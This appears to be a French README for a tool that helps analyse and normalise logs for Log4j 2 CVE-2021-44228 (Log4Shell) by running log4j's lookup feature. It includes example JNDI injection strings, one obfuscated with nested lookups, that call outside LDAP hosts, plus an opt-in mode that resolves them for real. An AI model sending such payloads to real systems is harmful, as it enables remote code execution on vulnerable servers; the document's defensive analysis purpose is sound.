
Quelques outils pour aider à atténuer la CVE-2021-44228 d'Apache Log4j 2
Un outil pour aider à analyser Apache Log4j 2 CVE-2021-44228
Cet outil utilise la fonctionnalité "lookup" de log4j-2 pour tester la vulnérabilité JNDI. L'objectif est d'exécuter facilement la fonctionnalité de lookup (pour normaliser les journaux par exemple, ou pour effectuer un test réel sur un payload - veuillez être prudent).
Pour compiler : "make" (par commodité, le fichier JndiLookup.jar est inclus dans ce git).
Une fois compilé, vous pouvez exécuter l'outil avec "java -jar JndiLookup.jar" (le répertoire log4j avec les binaires log4j doit se trouver dans le même chemin que le JndiLookup.jar)
Sans argument, l'outil JndiLookup lit les lignes depuis stdin et les "convertit" à l'aide de la fonctionnalité lookup de log4j - cela devrait être utile pour normaliser les journaux et rechercher des tentatives d'exploitation
Par exemple : cat access.log | java -jar JndiLookup.jar
Si vous passez une chaîne en argument de la ligne de commande, l'outil convertit cette chaîne puis se termine (veuillez échapper tous les caractères '$').
Par exemple : java -jar JndiLookup.jar java -jar JndiLookup.jar "\${jndi:\${lower:l}\${lower:d}a\${lower:p}://world443.log4j.bin\${upper:a}ryedge.io:80/callback}"
Par défaut, le lookup JNDI est désactivé (et remplacé par une fonction de lookup qui ajoutera simplement "jndi:" mais il est possible d'activer le vrai lookup JNDI en passant le paramètre "-X" à JndiLookup ("-X" doit être passé en premier paramètre) ; SOYEZ TRÈS PRUDENT car cela pourrait conduire à la compromission de votre système.
Par exemple : java -jar JndiLookup.jar -X "\${jndi:ldap://w8pcb14reujq65vic39pz9amv.canarytokens.com/a}" [ Cet exemple utilise un de mes canary tokens, c'est juste pour l'exemple ; sachez que je serai notifié si vous utilisez cette commande - aucun problème de mon côté, mais j'obtiendrai l'adresse IP à partir de laquelle la requête DNS est effectuée ]
Les lookups suivants sont activés dans les binaires log4j utilisés (2.15.0 pour une utilisation standard, 2.14.1 pour une utilisation avec JNDI activé) :
D'autres lookups peuvent être disponibles selon votre environnement :
[ Veuillez consulter https://github.com/apache/logging-log4j2/blob/c30a1398a6697fb832c650870c44284d0052103e/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/Interpolator.java pour plus de détails sur l'activation du plugin lookup ]
Veuillez noter que cet outil utilise le code réel de la fonctionnalité lookup de log4j et qu'il pourrait être vulnérable en raison d'autres problèmes de sécurité (non-JNDI).